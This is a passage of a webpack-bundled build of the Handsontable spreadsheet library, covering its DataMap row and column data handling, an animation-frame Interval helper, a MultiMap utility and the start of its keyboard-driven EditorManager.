_renderers.getRenderer)(CELL_TYPE) }; exports.default = _default; /***/ }), /* 643 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var CELL_TYPE = 'time'; var _default = { editor: (0, _editors.getEditor)('text'), // displays small gray arrow on right side of the cell renderer: (0, _renderers.getRenderer)('text'), validator: (0, _validators.getValidator)(CELL_TYPE) }; exports.default = _default; /***/ }), /* 644 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _SheetClip = _interopRequireDefault(__webpack_require__(422)); var _data = __webpack_require__(122); var _setting = __webpack_require__(121); var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _interval = _interopRequireDefault(__webpack_require__(645)); var _number = __webpack_require__(9); var _multiMap = _interopRequireDefault(__webpack_require__(646)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * Utility class that gets and saves data from/to the data source using mapping of columns numbers to object property names * @todo refactor arguments of methods getRange, getText to be numbers (not objects) * @todo remove priv, GridSettings from object constructor * * @param {Object} instance Instance of Handsontable * @param {*} priv * @param {*} GridSettings Grid settings * @util * @class DataMap */ function DataMap(instance, priv, GridSettings) { var _this = this; this.instance = instance; this.priv = priv; this.GridSettings = GridSettings; this.dataSource = this.instance.getSettings().data; this.cachedLength = null; this.skipCache = false; this.latestSourceRowsCount = 0; if (this.dataSource && this.dataSource[0]) { this.duckSchema = this.recursiveDuckSchema(this.dataSource[0]); } else { this.duckSchema = {}; } this.createMap(); this.interval = _interval.default.create(function () { return _this.clearLengthCache(); }, '15fps'); this.instance.addHook('skipLengthCache', function (delay) { return _this.onSkipLengthCache(delay); }); this.onSkipLengthCache(500); } DataMap.prototype.DESTINATION_RENDERER = 1; DataMap.prototype.DESTINATION_CLIPBOARD_GENERATOR = 2; /** * @param {Object|Array} object * @returns {Object|Array} */ DataMap.prototype.recursiveDuckSchema = function (object) { return (0, _object.duckSchema)(object); }; /** * @param {Object} schema * @param {Number} lastCol * @param {Number} parent * @returns {Number} */ DataMap.prototype.recursiveDuckColumns = function (schema, lastCol, parent) { var _this2 = this; var lastColumn = lastCol; var propertyParent = parent; var prop; if (typeof lastColumn === 'undefined') { lastColumn = 0; propertyParent = ''; } if (_typeof(schema) === 'object' && !Array.isArray(schema)) { (0, _object.objectEach)(schema, function (value, key) { if (value === null) { prop = propertyParent + key; _this2.colToPropCache.push(prop); _this2.propToColCache.set(prop, lastColumn); lastColumn += 1; } else { lastColumn = _this2.recursiveDuckColumns(value, lastColumn, "".concat(key, ".")); } }); } return lastColumn; }; DataMap.prototype.createMap = function () { var i; var schema = this.getSchema(); if (typeof schema === 'undefined') { throw new Error('trying to create `columns` definition but you didn\'t provide `schema` nor `data`'); } this.colToPropCache = []; this.propToColCache = new _multiMap.default(); var columns = this.instance.getSettings().columns; if (columns) { var maxCols = this.instance.getSettings().maxCols; var columnsLen = Math.min(maxCols, columns.length); var filteredIndex = 0; var columnsAsFunc = false; var schemaLen = (0, _object.deepObjectSize)(schema); if (typeof columns === 'function') { columnsLen = schemaLen > 0 ? schemaLen : this.instance.countSourceCols(); columnsAsFunc = true; } for (i = 0; i < columnsLen; i++) { var column = columnsAsFunc ? columns(i) : columns[i]; if ((0, _object.isObject)(column)) { if (typeof column.data !== 'undefined') { var index = columnsAsFunc ? filteredIndex : i; this.colToPropCache[index] = column.data; this.propToColCache.set(column.data, index); } filteredIndex += 1; } } } else { this.recursiveDuckColumns(schema); } }; /** * Returns property name that corresponds with the given column index. * * @param {Number} col Visual column index. * @returns {Number} Physical column index. */ DataMap.prototype.colToProp = function (col) { var physicalColumn = this.instance.runHooks('modifyCol', col); if (!isNaN(physicalColumn) && this.colToPropCache && typeof this.colToPropCache[physicalColumn] !== 'undefined') { return this.colToPropCache[physicalColumn]; } return physicalColumn; }; /** * @param {Object} prop * @fires Hooks#modifyCol * @returns {*} */ DataMap.prototype.propToCol = function (prop) { var col; if (typeof this.propToColCache.get(prop) === 'undefined') { col = prop; } else { col = this.propToColCache.get(prop); } col = this.instance.runHooks('unmodifyCol', col); return col; }; /** * @returns {Object} */ DataMap.prototype.getSchema = function () { var schema = this.instance.getSettings().dataSchema; if (schema) { if (typeof schema === 'function') { return schema(); } return schema; } return this.duckSchema; }; /** * Creates row at the bottom of the data array. * * @param {Number} [index] Physical index of the row before which the new row will be inserted. * @param {Number} [amount=1] An amount of rows to add. * @param {String} [source] Source of method call. * @fires Hooks#afterCreateRow * @returns {Number} Returns number of created rows. */ DataMap.prototype.createRow = function (index) { var _this3 = this; var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var source = arguments.length > 2 ? arguments[2] : undefined; var numberOfCreatedRows = 0; var rowIndex = index; if (typeof rowIndex !== 'number' || rowIndex >= this.instance.countSourceRows()) { rowIndex = this.instance.countSourceRows(); } var continueProcess = this.instance.runHooks('beforeCreateRow', rowIndex, amount, source); if (continueProcess === false) { return 0; } var maxRows = this.instance.getSettings().maxRows; var columnCount = this.instance.countCols(); var _loop = function _loop() { var row = null; if (_this3.instance.dataType === 'array') { if (_this3.instance.getSettings().dataSchema) { // Clone template array row = (0, _object.deepClone)(_this3.getSchema()); } else { row = []; /* eslint-disable no-loop-func */ (0, _number.rangeEach)(columnCount - 1, function () { return row.push(null); }); } } else if (_this3.instance.dataType === 'function') { row = _this3.instance.getSettings().dataSchema(rowIndex); } else { row = {}; (0, _object.deepExtend)(row, _this3.getSchema()); } if (rowIndex === _this3.instance.countSourceRows()) { _this3.dataSource.push(row); } else { _this3.spliceData(rowIndex, 0, row); } numberOfCreatedRows += 1; }; while (numberOfCreatedRows < amount && this.instance.countSourceRows() < maxRows) { _loop(); } this.instance.runHooks('afterCreateRow', rowIndex, numberOfCreatedRows, source); this.instance.forceFullRender = true; // used when data was changed return numberOfCreatedRows; }; /** * Creates col at the right of the data array. * * @param {Number} [index] Visual index of the column before which the new column will be inserted * @param {Number} [amount=1] An amount of columns to add. * @param {String} [source] Source of method call. * @fires Hooks#afterCreateCol * @returns {Number} Returns number of created columns */ DataMap.prototype.createCol = function (index) { var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var source = arguments.length > 2 ? arguments[2] : undefined; if (!this.instance.isColumnModificationAllowed()) { throw new Error('Cannot create new column. When data source in an object, ' + 'you can only have as much columns as defined in first data row, data schema or in the \'columns\' setting.' + 'If you want to be able to add new columns, you have to use array datasource.'); } var rlen = this.instance.countSourceRows(); var data = this.dataSource; var countColumns = this.instance.countCols(); var columnIndex = typeof index !== 'number' || index >= countColumns ? countColumns : index; var constructor; var numberOfCreatedCols = 0; var currentIndex; this.instance.runHooks('beforeCreateCol', columnIndex, amount, source); currentIndex = columnIndex; var maxCols = this.instance.getSettings().maxCols; while (numberOfCreatedCols < amount && this.instance.countCols() < maxCols) { constructor = (0, _setting.columnFactory)(this.GridSettings, this.priv.columnsSettingConflicts); if (typeof columnIndex !== 'number' || columnIndex >= this.instance.countCols()) { if (rlen > 0) { for (var r = 0; r < rlen; r++) { if (typeof data[r] === 'undefined') { data[r] = []; } data[r].push(null); } } else { data.push([null]); } // Add new column constructor this.priv.columnSettings.push(constructor); } else { for (var row = 0; row < rlen; row++) { data[row].splice(currentIndex, 0, null); } // Add new column constructor at given index this.priv.columnSettings.splice(currentIndex, 0, constructor); } numberOfCreatedCols += 1; currentIndex += 1; } this.instance.runHooks('afterCreateCol', columnIndex, numberOfCreatedCols, source); this.instance.forceFullRender = true; // used when data was changed return numberOfCreatedCols; }; /** * Removes row from the data array. * * @param {Number} [index] Visual index of the row to be removed. If not provided, the last row will be removed * @param {Number} [amount=1] Amount of the rows to be removed. If not provided, one row will be removed * @param {String} [source] Source of method call. * @fires Hooks#beforeRemoveRow * @fires Hooks#afterRemoveRow */ DataMap.prototype.removeRow = function (index) { var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var source = arguments.length > 2 ? arguments[2] : undefined; var rowIndex = typeof index !== 'number' ? -amount : index; var rowsAmount = this.instance.runHooks('modifyRemovedAmount', amount, rowIndex); rowIndex = (this.instance.countSourceRows() + rowIndex) % this.instance.countSourceRows(); var logicRows = this.visualRowsToPhysical(rowIndex, rowsAmount); var actionWasNotCancelled = this.instance.runHooks('beforeRemoveRow', rowIndex, rowsAmount, logicRows, source); if (actionWasNotCancelled === false) { return; } var data = this.dataSource; var newData = this.filterData(rowIndex, rowsAmount); if (newData) { data.length = 0; Array.prototype.push.apply(data, newData); } this.instance.runHooks('afterRemoveRow', rowIndex, rowsAmount, logicRows, source); this.instance.forceFullRender = true; // used when data was changed }; /** * Removes column from the data array. * * @param {Number} [index] Visual index of the column to be removed. If not provided, the last column will be removed * @param {Number} [amount=1] Amount of the columns to be removed. If not provided, one column will be removed * @param {String} [source] Source of method call. * @fires Hooks#beforeRemoveCol * @fires Hooks#afterRemoveCol */ DataMap.prototype.removeCol = function (index) { var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var source = arguments.length > 2 ? arguments[2] : undefined; if (this.instance.dataType === 'object' || this.instance.getSettings().columns) { throw new Error('cannot remove column with object data source or columns option specified'); } var columnIndex = typeof index !== 'number' ? -amount : index; columnIndex = (this.instance.countCols() + columnIndex) % this.instance.countCols(); var logicColumns = this.visualColumnsToPhysical(columnIndex, amount); var descendingLogicColumns = logicColumns.slice(0).sort(function (a, b) { return b - a; }); var actionWasNotCancelled = this.instance.runHooks('beforeRemoveCol', columnIndex, amount, logicColumns, source); if (actionWasNotCancelled === false) { return; } var isTableUniform = true; var removedColumnsCount = descendingLogicColumns.length; var data = this.dataSource; for (var c = 0; c < removedColumnsCount; c++) { if (isTableUniform && logicColumns[0] !== logicColumns[c] - c) { isTableUniform = false; } } if (isTableUniform) { for (var r = 0, rlen = this.instance.countSourceRows(); r < rlen; r++) { data[r].splice(logicColumns[0], amount); } } else { for (var _r = 0, _rlen = this.instance.countSourceRows(); _r < _rlen; _r++) { for (var _c = 0; _c < removedColumnsCount; _c++) { data[_r].splice(descendingLogicColumns[_c], 1); } } for (var _c2 = 0; _c2 < removedColumnsCount; _c2++) { this.priv.columnSettings.splice(logicColumns[_c2], 1); } } this.instance.runHooks('afterRemoveCol', columnIndex, amount, logicColumns, source); this.instance.forceFullRender = true; // used when data was changed }; /** * Add/Removes data from the column. * * @param {Number} col Physical index of column in which do you want to do splice * @param {Number} index Index at which to start changing the array. If negative, will begin that many elements from the end * @param {Number} amount An integer indicating the number of old array elements to remove. If amount is 0, no elements are removed * @param {Array} [elements] * @returns {Array} Returns removed portion of columns */ DataMap.prototype.spliceCol = function (col, index, amount) { var colData = this.instance.getDataAtCol(col); var removed = colData.slice(index, index + amount); var after = colData.slice(index + amount); for (var _len = arguments.length, elements = new Array(_len > 3 ? _len - 3 : 0), _key = 3; _key < _len; _key++) { elements[_key - 3] = arguments[_key]; } (0, _array.extendArray)(elements, after); var i = 0; while (i < amount) { elements.push(null); // add null in place of removed elements i += 1; } (0, _array.to2dArray)(elements); this.instance.populateFromArray(index, col, elements, null, null, 'spliceCol'); return removed; }; /** * Add/Removes data from the row. * * @param {Number} row Physical index of row in which do you want to do splice * @param {Number} index Index at which to start changing the array. If negative, will begin that many elements from the end. * @param {Number} amount An integer indicating the number of old array elements to remove. If amount is 0, no elements are removed. * @param {Array} [elements] * @returns {Array} Returns removed portion of rows */ DataMap.prototype.spliceRow = function (row, index, amount) { var rowData = this.instance.getSourceDataAtRow(row); var removed = rowData.slice(index, index + amount); var after = rowData.slice(index + amount); for (var _len2 = arguments.length, elements = new Array(_len2 > 3 ? _len2 - 3 : 0), _key2 = 3; _key2 < _len2; _key2++) { elements[_key2 - 3] = arguments[_key2]; } (0, _array.extendArray)(elements, after); var i = 0; while (i < amount) { elements.push(null); // add null in place of removed elements i += 1; } this.instance.populateFromArray(row, index, [elements], null, null, 'spliceRow'); return removed; }; /** * Add/remove row(s) to/from the data source. * * @param {Number} index Physical index of the element to remove. * @param {Number} amount Number of rows to add/remove. * @param {Object} element Row to add. */ DataMap.prototype.spliceData = function (index, amount, element) { var continueSplicing = this.instance.runHooks('beforeDataSplice', index, amount, element); if (continueSplicing !== false) { this.dataSource.splice(index, amount, element); } }; /** * Filter unwanted data elements from the data source. * * @param {Number} index Visual index of the element to remove. * @param {Number} amount Number of rows to add/remove. * @returns {Array} */ DataMap.prototype.filterData = function (index, amount) { var physicalRows = this.visualRowsToPhysical(index, amount); var continueSplicing = this.instance.runHooks('beforeDataFilter', index, amount, physicalRows); if (continueSplicing !== false) { var newData = this.dataSource.filter(function (row, rowIndex) { return physicalRows.indexOf(rowIndex) === -1; }); return newData; } }; /** * Returns single value from the data array. * * @param {Number} row Visual row index. * @param {Number} prop */ DataMap.prototype.get = function (row, prop) { var physicalRow = this.instance.runHooks('modifyRow', row); var dataRow = this.dataSource[physicalRow]; // TODO: To remove, use 'modifyData' hook instead (see below) var modifiedRowData = this.instance.runHooks('modifyRowData', physicalRow); dataRow = isNaN(modifiedRowData) ? modifiedRowData : dataRow; // var value = null; // try to get value under property `prop` (includes dot) if (dataRow && dataRow.hasOwnProperty && (0, _object.hasOwnProperty)(dataRow, prop)) { value = dataRow[prop]; } else if (typeof prop === 'string' && prop.indexOf('.') > -1) { var sliced = prop.split('.'); var out = dataRow; if (!out) { return null; } for (var i = 0, ilen = sliced.length; i < ilen; i++) { out = out[sliced[i]]; if (typeof out === 'undefined') { return null; } } value = out; } else if (typeof prop === 'function') { /** * allows for interacting with complex structures, for example * d3/jQuery getter/setter properties: * * {columns: [{ * data: function(row, value){ * if(arguments.length === 1){ * return row.property(); * } * row.property(value); * } * }]} */ value = prop(this.dataSource.slice(physicalRow, physicalRow + 1)[0]); } if (this.instance.hasHook('modifyData')) { var valueHolder = (0, _object.createObjectPropListener)(value); this.instance.runHooks('modifyData', physicalRow, this.propToCol(prop), valueHolder, 'get'); if (valueHolder.isTouched()) { value = valueHolder.value; } } return value; }; var copyableLookup = (0, _data.cellMethodLookupFactory)('copyable', false); /** * Returns single value from the data array (intended for clipboard copy to an external application). * * @param {Number} row Physical row index. * @param {Number} prop * @returns {String} */ DataMap.prototype.getCopyable = function (row, prop) { if (copyableLookup.call(this.instance, row, this.propToCol(prop))) { return this.get(row, prop); } return ''; }; /** * Saves single value to the data array. * * @param {Number} row Visual row index. * @param {Number} prop * @param {String} value * @param {String} [source] Source of hook runner. */ DataMap.prototype.set = function (row, prop, value, source) { var physicalRow = this.instance.runHooks('modifyRow', row, source || 'datamapGet'); var newValue = value; var dataRow = this.dataSource[physicalRow]; // TODO: To remove, use 'modifyData' hook instead (see below) var modifiedRowData = this.instance.runHooks('modifyRowData', physicalRow); dataRow = isNaN(modifiedRowData) ? modifiedRowData : dataRow; // if (this.instance.hasHook('modifyData')) { var valueHolder = (0, _object.createObjectPropListener)(newValue); this.instance.runHooks('modifyData', physicalRow, this.propToCol(prop), valueHolder, 'set'); if (valueHolder.isTouched()) { newValue = valueHolder.value; } } // try to set value under property `prop` (includes dot) if (dataRow && dataRow.hasOwnProperty && (0, _object.hasOwnProperty)(dataRow, prop)) { dataRow[prop] = newValue; } else if (typeof prop === 'string' && prop.indexOf('.') > -1) { var sliced = prop.split('.'); var out = dataRow; var i = 0; var ilen; for (i = 0, ilen = sliced.length - 1; i < ilen; i++) { if (typeof out[sliced[i]] === 'undefined') { out[sliced[i]] = {}; } out = out[sliced[i]]; } out[sliced[i]] = newValue; } else if (typeof prop === 'function') { /* see the `function` handler in `get` */ prop(this.dataSource.slice(physicalRow, physicalRow + 1)[0], newValue); } else { dataRow[prop] = newValue; } }; /** * This ridiculous piece of code maps rows Id that are present in table data to those displayed for user. * The trick is, the physical row id (stored in settings.data) is not necessary the same * as the visual (displayed) row id (e.g. when sorting is applied). * * @param {Number} index Visual row index. * @param {Number} amount * @fires Hooks#modifyRow * @returns {Number} */ DataMap.prototype.visualRowsToPhysical = function (index, amount) { var totalRows = this.instance.countSourceRows(); var logicRows = []; var physicRow = (totalRows + index) % totalRows; var rowsToRemove = amount; var row; while (physicRow < totalRows && rowsToRemove) { row = this.instance.runHooks('modifyRow', physicRow); logicRows.push(row); rowsToRemove -= 1; physicRow += 1; } return logicRows; }; /** * * @param index Visual column index. * @param amount * @returns {Array} */ DataMap.prototype.visualColumnsToPhysical = function (index, amount) { var totalCols = this.instance.countCols(); var physicalCol = (totalCols + index) % totalCols; var visualCols = []; var colsToRemove = amount; while (physicalCol < totalCols && colsToRemove) { var col = this.instance.runHooks('modifyCol', physicalCol); visualCols.push(col); colsToRemove -= 1; physicalCol += 1; } return visualCols; }; /** * Clears the data array. */ DataMap.prototype.clear = function () { for (var r = 0; r < this.instance.countSourceRows(); r++) { for (var c = 0; c < this.instance.countCols(); c++) { this.set(r, this.colToProp(c), ''); } } }; /** * Clear cached data length. */ DataMap.prototype.clearLengthCache = function () { this.cachedLength = null; }; /** * Get data length. * * @returns {Number} */ DataMap.prototype.getLength = function () { var _this4 = this; var maxRowsFromSettings = this.instance.getSettings().maxRows; var maxRows; if (maxRowsFromSettings < 0 || maxRowsFromSettings === 0) { maxRows = 0; } else { maxRows = maxRowsFromSettings || Infinity; } var length = this.instance.countSourceRows(); if (this.instance.hasHook('modifyRow')) { var reValidate = this.skipCache; this.interval.start(); if (length !== this.latestSourceRowsCount) { reValidate = true; } this.latestSourceRowsCount = length; if (this.cachedLength === null || reValidate) { (0, _number.rangeEach)(length - 1, function (row) { var physicalRow = _this4.instance.runHooks('modifyRow', row); if (physicalRow === null) { length -= 1; } }); this.cachedLength = length; } else { length = this.cachedLength; } } else { this.interval.stop(); } return Math.min(length, maxRows); }; /** * Returns the data array. * * @returns {Array} */ DataMap.prototype.getAll = function () { var start = { row: 0, col: 0 }; var end = { row: Math.max(this.instance.countSourceRows() - 1, 0), col: Math.max(this.instance.countCols() - 1, 0) }; if (start.row - end.row === 0 && !this.instance.countSourceRows()) { return []; } return this.getRange(start, end, DataMap.prototype.DESTINATION_RENDERER); }; /** * Returns data range as array. * * @param {Object} [start] Start selection position. Visual indexes. * @param {Object} [end] End selection position. Visual indexes. * @param {Number} destination Destination of datamap.get * @returns {Array} */ DataMap.prototype.getRange = function (start, end, destination) { var output = []; var r; var c; var row; var maxRows = this.instance.getSettings().maxRows; var maxCols = this.instance.getSettings().maxCols; if (maxRows === 0 || maxCols === 0) { return []; } var getFn = destination === this.DESTINATION_CLIPBOARD_GENERATOR ? this.getCopyable : this.get; var rlen = Math.min(Math.max(maxRows - 1, 0), Math.max(start.row, end.row)); var clen = Math.min(Math.max(maxCols - 1, 0), Math.max(start.col, end.col)); for (r = Math.min(start.row, end.row); r <= rlen; r++) { row = []; var physicalRow = this.instance.runHooks('modifyRow', r); for (c = Math.min(start.col, end.col); c <= clen; c++) { if (physicalRow === null) { break; } row.push(getFn.call(this, r, this.colToProp(c))); } if (physicalRow !== null) { output.push(row); } } return output; }; /** * Return data as text (tab separated columns). * * @param {Object} [start] Start selection position. Visual indexes. * @param {Object} [end] End selection position. Visual indexes. * @returns {String} */ DataMap.prototype.getText = function (start, end) { return _SheetClip.default.stringify(this.getRange(start, end, this.DESTINATION_RENDERER)); }; /** * Return data as copyable text (tab separated columns intended for clipboard copy to an external application). * * @param {Object} [start] Start selection position. Visual indexes. * @param {Object} [end] End selection position. Visual indexes. * @returns {String} */ DataMap.prototype.getCopyableText = function (start, end) { return _SheetClip.default.stringify(this.getRange(start, end, this.DESTINATION_CLIPBOARD_GENERATOR)); }; /** * `skipLengthCache` callback. * @private * @param {Number} delay Time of the delay in milliseconds. */ DataMap.prototype.onSkipLengthCache = function (delay) { var _this5 = this; this.skipCache = true; setTimeout(function () { _this5.skipCache = false; }, delay); }; /** * Destroy instance. */ DataMap.prototype.destroy = function () { this.interval.stop(); this.interval = null; this.instance = null; this.priv = null; this.GridSettings = null; this.dataSource = null; this.cachedLength = null; this.duckSchema = null; }; var _default = DataMap; exports.default = _default; /***/ }), /* 645 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.parseDelay = parseDelay; exports.default = void 0; var _feature = __webpack_require__(47); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Interval * @util */ var Interval = /*#__PURE__*/ function () { _createClass(Interval, null, [{ key: "create", value: function create(func, delay) { return new Interval(func, delay); } }]); function Interval(func, delay) { var _this = this; _classCallCheck(this, Interval); /** * Animation frame request id. * * @type {Number} */ this.timer = null; /** * Function to invoke repeatedly. * * @type {Function} */ this.func = func; /** * Number of milliseconds that function should wait before next call. */ this.delay = parseDelay(delay); /** * Flag which indicates if interval object was stopped. * * @type {Boolean} * @default true */ this.stopped = true; /** * Interval time (in milliseconds) of the last callback call. * * @private * @type {Number} */ this._then = null; /** * Bounded function `func`. * * @private * @type {Function} */ this._callback = function () { return _this.__callback(); }; } /** * Start loop. * * @returns {Interval} */ _createClass(Interval, [{ key: "start", value: function start() { if (this.stopped) { this._then = Date.now(); this.stopped = false; this.timer = (0, _feature.requestAnimationFrame)(this._callback); } return this; } /** * Stop looping. * * @returns {Interval} */ }, { key: "stop", value: function stop() { if (!this.stopped) { this.stopped = true; (0, _feature.cancelAnimationFrame)(this.timer); this.timer = null; } return this; } /** * Loop callback, fired on every animation frame. * * @private */ }, { key: "__callback", value: function __callback() { this.timer = (0, _feature.requestAnimationFrame)(this._callback); if (this.delay) { var now = Date.now(); var elapsed = now - this._then; if (elapsed > this.delay) { this._then = now - elapsed % this.delay; this.func(); } } else { this.func(); } } }]); return Interval; }(); var _default = Interval; /** * Convert delay from string format to milliseconds. * * @param {Number|String} delay * @returns {Number} */ exports.default = _default; function parseDelay(delay) { var result = delay; if (typeof result === 'string' && /fps$/.test(result)) { result = 1000 / parseInt(result.replace('fps', '') || 0, 10); } return result; } /***/ }), /* 646 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function MultiMap() { var map = { arrayMap: [], weakMap: new WeakMap() }; return { get: function get(key) { if (canBeAnArrayMapKey(key)) { return map.arrayMap[key]; } else if (canBeAWeakMapKey(key)) { return map.weakMap.get(key); } }, set: function set(key, value) { if (canBeAnArrayMapKey(key)) { map.arrayMap[key] = value; } else if (canBeAWeakMapKey(key)) { map.weakMap.set(key, value); } else { throw new Error('Invalid key type'); } }, delete: function _delete(key) { if (canBeAnArrayMapKey(key)) { delete map.arrayMap[key]; } else if (canBeAWeakMapKey(key)) { map.weakMap.delete(key); } } }; function canBeAnArrayMapKey(obj) { return obj !== null && !isNaNSymbol(obj) && (typeof obj === 'string' || typeof obj === 'number'); } function canBeAWeakMapKey(obj) { return obj !== null && (_typeof(obj) === 'object' || typeof obj === 'function'); } function isNaNSymbol(obj) { /* eslint-disable no-self-compare */ return obj !== obj; // NaN === NaN is always false } } var _default = MultiMap; exports.default = _default; /***/ }), /* 647 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); var _unicode = __webpack_require__(32); var _event = __webpack_require__(18); var _editors = __webpack_require__(26); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _baseEditor = __webpack_require__(74); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function EditorManager(instance, priv, selection) { var _this = this; var eventManager = new _eventManager.default(instance); var destroyed = false; var lock = false; var activeEditor; function moveSelectionAfterEnter(shiftKey) { var enterMoves = typeof priv.settings.enterMoves === 'function' ? priv.settings.enterMoves(event) : priv.settings.enterMoves; if (shiftKey) { // move selection up selection.transformStart(-enterMoves.row, -enterMoves.col); } else { // move selection down (add a new row if needed) selection.transformStart(enterMoves.row, enterMoves.col, true); } } function moveSelectionUp(shiftKey) { if (shiftKey) { selection.transformEnd(-1, 0); } else { selection.transformStart(-1, 0); } } function moveSelectionDown(shiftKey) { if (shiftKey) { // expanding selection down with shift selection.transformEnd(1, 0); } else { selection.transformStart(1, 0); } } function moveSelectionRight(shiftKey) { if (shiftKey) { selection.transformEnd(0, 1); } else { selection.transformStart(0, 1); } } function moveSelectionLeft(shiftKey) { if (shiftKey) { selection.transformEnd(0, -1); } else { selection.transformStart(0, -1); } } function onKeyDown(event) { if (!instance.isListening()) { return; } instance.runHooks('beforeKeyDown', event); // keyCode 229 aka 'uninitialized' doesn't take into account with editors. This key code is produced when unfinished // character is entering (using IME editor). It is fired mainly on linux (ubuntu) with installed ibus-pinyin package. if (destroyed || event.keyCode === 229) { return; } if ((0, _event.isImmediatePropagationStopped)(event)) { return; } priv.lastKeyCode = event.keyCode; if (!selection.isSelected()) { return; } // catch CTRL but not right ALT (which in some systems triggers ALT+CTRL) var ctrlDown = (event.ctrlKey || event.metaKey) && !event.altKey; if (activeEditor && !activeEditor.isWaiting()) { if (!(0, _unicode.isMetaKey)(event.keyCode) && !(0, _unicode.isCtrlMetaKey)(event.keyCode) && !ctrlDown && !_this.isEditorOpened()) { _this.openEditor('', event); return; } } var rangeModifier = event.shiftKey ? selection.setRangeEnd : selection.setRangeStart; var tabMoves; switch (event.keyCode) { case _unicode.KEY_CODES.A: if (!_this.isEditorOpened() && ctrlDown) { instance.selectAll(); event.preventDefault(); (0, _event.stopPropagation)(event); } break; case _unicode.KEY_CODES.ARROW_UP: if (_this.isEditorOpened() && !activeEditor.isWaiting()) { _this.closeEditorAndSaveChanges(ctrlDown); } moveSelectionUp(event.shiftKey); event.preventDefault(); (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.ARROW_DOWN: if (_this.isEditorOpened() && !activeEditor.isWaiting()) { _this.closeEditorAndSaveChanges(ctrlDown); } moveSelectionDown(event.shiftKey); event.preventDefault(); (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.ARROW_RIGHT: if (_this.isEditorOpened() && !activeEditor.isWaiting()) { _this.closeEditorAndSaveChanges(ctrlDown); } moveSelectionRight(event.shiftKey); event.preventDefault(); (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.ARROW_LEFT: if (_this.isEditorOpened() && !activeEditor.isWaiting()) { _this.closeEditorAndSaveChanges(ctrlDown); } moveSelectionLeft(event.shiftKey); event.preventDefault(); (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.TAB: tabMoves = typeof priv.settings.tabMoves === 'function' ? priv.settings.tabMoves(event) : priv.settings.tabMoves; if (event.shiftKey) { // move selection left selection.transformStart(-tabMoves.row, -tabMoves.col); } else { // move selection right (add a new column if needed) selection.transformStart(tabMoves.row, tabMoves.col, true); } event.preventDefault(); (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.BACKSPACE: case _unicode.KEY_CODES.DELETE: instance.emptySelectedCells(); _this.prepareEditor(); event.preventDefault(); break; case _unicode.KEY_CODES.F2: /* F2 */ if (activeEditor) { activeEditor.enableFullEditMode(); } _this.openEditor(null, event); event.preventDefault(); // prevent Opera from opening 'Go to Page dialog' break; case _unicode.KEY_CODES.ENTER: /* return/enter */ if (_this.isEditorOpened()) { if (activeEditor && activeEditor.state !== _baseEditor.EditorState.WAITING) { _this.closeEditorAndSaveChanges(ctrlDown); } moveSelectionAfterEnter(event.shiftKey); } else if (instance.getSettings().enterBeginsEditing) { if (activeEditor) { activeEditor.enableFullEditMode(); } _this.openEditor(null, event); } else { moveSelectionAfterEnter(event.shiftKey); } event.preventDefault(); // don't add newline to field (0, _event.stopImmediatePropagation)(event); // required by HandsontableEditor break; case _unicode.KEY_CODES.ESCAPE: if (_this.isEditorOpened()) { _this.closeEditorAndRestoreOriginalValue(ctrlDown); activeEditor.focus(); } event.preventDefault(); break; case _unicode.KEY_CODES.HOME: if (event.ctrlKey || event.metaKey) { rangeModifier.call(selection, new _src.CellCoords(0, selection.selectedRange.current().from.col)); } else { rangeModifier.call(selection, new _src.CellCoords(selection.selectedRange.current().from.row, 0)); } event.preventDefault(); // don't scroll the window (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.END: if (event.ctrlKey || event.metaKey) { rangeModifier.call(selection, new _src.CellCoords(instance.countRows() - 1, selection.selectedRange.current().from.col)); } else { rangeModifier.call(selection, new _src.CellCoords(selection.selectedRange.current().from.row, instance.countCols() - 1)); } event.preventDefault(); // don't scroll the window (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.PAGE_UP: selection.transformStart(-instance.countVisibleRows(), 0); event.preventDefault(); // don't page up the window (0, _event.stopPropagation)(event); break; case _unicode.KEY_CODES.PAGE_DOWN: selection.transformStart(instance.countVisibleRows(), 0); event.preventDefault(); // don't page down the window (0, _event.stopPropagation)(event); break; default: break; } } function init() { 